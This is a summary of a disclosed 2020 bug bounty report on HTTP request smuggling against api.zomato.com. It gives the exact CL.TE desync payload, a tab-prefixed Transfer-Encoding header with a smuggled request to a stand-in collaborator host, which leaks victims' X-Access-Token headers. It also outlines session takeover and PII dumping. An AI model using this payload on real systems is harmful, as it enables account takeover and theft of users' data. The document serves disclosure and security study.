# Stealing Zomato X-Access-Token: in Bulk using HTTP Request Smuggling on api.zomato.com

CL.TE desync via tab-prefixed Transfer-Encoding on api.zomato.com let attackers hijack victim requests and redirect them to leak X-Access-Token headers in bulk.

- Payout: hidden
- Severity: critical
- Program: Eternal
- Found by: defparam
- Disclosed: 2020-07-09
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/771666
- Library page: https://bugbountylibrary.com/r/h1%3A771666
- Tags: area:web domain:web impact:ato impact:pii-leak kind:bounty platform:hackerone sev:critical tech:cdn technique:chained vuln:request-smuggling

**Target:** api.zomato.com behind Akamai CDN
**Root cause:** Frontend rejects the tab-prefixed `Transfer-Encoding:\tchunked` header and falls back to Content-Length, while the backend honors chunked encoding, desynchronizing the socket.
**Steps:**
1. Send `DELETE / HTTP/1.1` with `Transfer-Encoding:\tchunked` (tab after colon), `Host: api.zomato.com`, `Content-Length: 91`, body `0\r\n\r\nGET https://COLLAB/desync/ HTTP/1.1\r\nX: X`
2. Frontend uses CL=91 and forwards all bytes; backend parses chunked, sees 0-length chunk, leaves remainder on socket
3. Next victim request gets prefixed with smuggled `GET https://COLLAB/desync/` line
4. Backend returns 301 to attacker host; victim client follows redirect carrying `X-Access-Token` header
5. Repeat sends until collaborator receives HTTP request with token and victim IP
**How found:** Researcher ran a custom suite of 150+ desync payloads against the asset; the 'tabprefix1' mutation (tab after TE colon) triggered CL.TE disagreement between Akamai frontend and backend.
**Exploitation:** Attacker smuggles a request whose request-line points to an attacker-controlled host; backend issues 301, victim's HTTP client auto-follows preserving headers including X-Access-Token, delivering token and IP to collaborator. Token+UserID then used to fetch `/v2/userdetails.json/<USERID>` or swap into own `POST /v2/auth` session for full impersonation.
**Escalation:** Automated scraping of tokens in bulk; chain token to UserID via `/v2/tabbed/home`, then PII dump or session takeover by swapping Access-Token/UserID in mobile app login.
**Insight:** Tab/whitespace mutations of `Transfer-Encoding` headers are a high-yield desync probe against CDN-fronted APIs; chaining the smuggled request-line to an absolute attacker URL turns a 301 into a header-leaking redirect without needing response splitting.